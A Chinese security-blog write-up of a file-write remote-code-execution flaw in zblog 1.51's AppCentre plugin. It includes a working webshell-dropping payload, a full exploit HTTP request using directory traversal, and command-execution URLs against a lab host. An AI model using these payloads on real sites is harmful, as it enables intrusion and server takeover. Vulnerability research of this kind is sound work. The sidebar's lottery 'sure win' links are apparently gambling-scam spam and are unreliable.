ce安全网绿色资源分享

教程资讯|常用软件|安卓下载|下载排行|最近更新

软件
软件
文章
当前位置:首页网络安全安全文章 → zblog1.51 php版GetShell漏洞

zblog1.51 php版GetShell漏洞

时间:2018-04-28 07:20:54人气:作者:本站作者我要评论

 GetShell漏洞的分析

相关环境

源码信息:zblog 1.51

问题文件:\zb_users\plugin\AppCentre\plugin_edit.php

漏洞类型:文件写入导致代码执行

站点地址:https://www.zblogcn.com/

在文件\zb_users\plugin\AppCentre\plugin_edit.php的第47行-68行中发现如下代码块,仔细分析该代码块可以知道,两处的file_put_contents($path, $file);文件名和文件内容都是用户可以控制的。

zblog1.51 php版GetShell漏洞

首先是在第57-61行中,先读取tpl/main.html文件中的内容,然后将<%appid%>替换为$app->id的值,然后通过POST请求得到要写入的文件路径名称,再进行file_put_contents操作。

zblog1.51 php版GetShell漏洞

然后第63-67行中也差不多,只是写入的文件是固定为include.php文件。

反向跟踪下$app->id在该文件的第50行中,要求传入的值开头需要以字母数字和下划线组成,长度为3-30字符。

zblog1.51 php版GetShell漏洞

因此只需要前面三个字符满足要求后面的字符可以直接为PHP代码,这样就可以将PHP代码写入到目标文件中了。

zb_users/plugin/AppCentre/tpl/main.html和zb_users/plugin/AppCentre/tpl/include.html文件中存在<%appid%>的位置,然后根据代码情况写入PHP代码。 

zb_users/plugin/AppCentre/tpl/main.html文件中<%appid%>的位置。

zblog1.51 php版GetShell漏洞

首先看第一处zb_users/plugin/AppCentre/tpl/main.html文件中<%appid%>的位置这个位置因为有2处的写入点,且两处的闭合规则是不一致的,所以可以使用?>的方式闭合前一个位置,这样后面的内容包括后一个位置都是作为普通文本了。这里经过测试在windows下,windows下file_put_contents中的路径位置如果有?,*,null的话便会报错,无法写入文件。

看第二处zb_users/plugin/AppCentre/tpl/include.html文件中<%appid%>的位置有5处,其中第1,2处与其余3处的闭合方式是不同的。且 如果不定义RegisterPlugin 这个方法就会报错,但是定义了这个方法,因为写入位置有4处,其中三处都会定义这个方法,又提示Cannot redeclare RegisterPlugin(),因此在不引入?>或/*的情况下实在想不出构造的方法。

zblog1.51 php版GetShell漏洞

因此这个文件写入导致GetShell,经过测试仅得到了可以在Linux下利用的方式。windows下的利用方式期待有师傅能一起交流。

漏洞复现

构造模板文件zb_users/plugin/AppCentre/tpl/main.html利用方式的paylod: 

balabal')){}$f=fopen('evil.php','a');fwrite($f,base64_decode('PD9waHAgJF9HRVRbJ2Z1bmMnXSgkX0dFVFsnY21kJ10pOz8+'));fclose($f);?>

因为\zb_users\plugin\AppCentre\plugin_edit.php文件中的60行中存在目录跳转的漏洞。

所以可以使用../进行目录跳转然后将写入的文件替换zb_users/plugin/Totoro/main.php文件,进行如下请求写入恶意代码,然后进行替换zb_users/plugin/Totoro/main.php文件。

POST /zb_users/plugin/AppCentre/plugin_edit.php HTTP/1.1
Host: 192.168.112.136
Content-Length: 548
Cache-Control: max-age=0
Origin: 
Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36 Content-Type: application/x-www-form-urlencoded Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Referer:
Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.8 Cookie: username=zblog; password=321c7793b025c200fcf087a437cf2b24; addinfo=%7B%22chkadmin%22%3A1%2C%22chkarticle%22%3A1%2C%22levelname%22%3A%22%5Cu7ba1%5Cu7406%5Cu5458%22%2C%22userid%22%3A%221%22%2C%22useralias%22%3A%22zblog%22%7D; timezone=8 Connection: close     app_id=balabal')){}$f%3dfopen('evil.php','a')%3bfwrite($f,base64_decode('PD9waHAgJF9HRVRbJ2Z1bmMnXSgkX0dFVFsnY21kJ10pOz8%2b'))%3bfclose($f)%3b%3f>&app_name=1&app_url=2&app_note=3&app_adapted=151740&app_version=1.0&app_pubdate=2018-04-19&app_modified=2018-04-19&app_author_name=zblog&app_author_email=null%40null.com&app_author_url=&app_path=../Totoro/main.php&app_include=include.php&app_level=1&app_phpver=5.2&app_price=0&app_advanced_dependency=&app_advanced_conflict=&app_advanced_rewritefunctions=&app_advanced_existsfunctions=&app_description=

当管理员访评论管理->Totoro设置的时候(http://192.168.112.136/zb_users/plugin/Totoro/main.php)的时候便会触发脚本生成evil.php的恶意文件。

zblog1.51 php版GetShell漏洞

手动连接一句话便可以执行命令http://192.168.112.136/zb_users/ ... sert&cmd=system(%27ls%27)

zblog1.51 php版GetShell漏洞

构造模板文件zb_users/plugin/AppCentre/tpl/include.html利用方式的paylod:

 
部分内容被隐藏
评论刷新后查看
请求evil.php并连接一句话。http://192.168.112.136/zb_users/ ... sert&cmd=system('ifconfig')
zblog1.51 php版GetShell漏洞

相关文章

猜你喜欢

  • 深入解析浅谈《快3单双准确率方法》成功方案

    2022-09-28 /

  • 全网首发《快3单双大小必中方法技巧》思路汇总

    2022-09-28 /

  • 资深攻略《快3大小必中技巧》上岸方法

    2022-09-28 /

  • 【最准确的玩法】《回血上岸计划导师QQ》操作系列

    2022-09-28 /

  • 经验教程《导师一分快三计划》最新窍门

    2022-09-28 /

  • 高手教你《大小单双最安全的打法》三期必中

    2022-09-28 /

网友评论

验证码:

请自觉遵守互联网相关政策法规,评论内容只代表网友观点,与本站立场无关!

最新评论

已有人参与,点击查看更多精彩评论

本类推荐

关于CE安全网 | 联系方式 | 发展历程 | 版权声明 | 下载帮助(?) | 广告联系 | 网站地图 | 友情链接

Copyright 2019-2029 cesafe.com 【CE安全网】 版权所有 琼ICP备2021004244号-1| 琼ICP备2021004244号-1

声明: 本站为非赢利性网站 不接受任何赞助和广告 所有软件和文章来自互联网 如有异议 请与本站联系 技术支持:ce安全网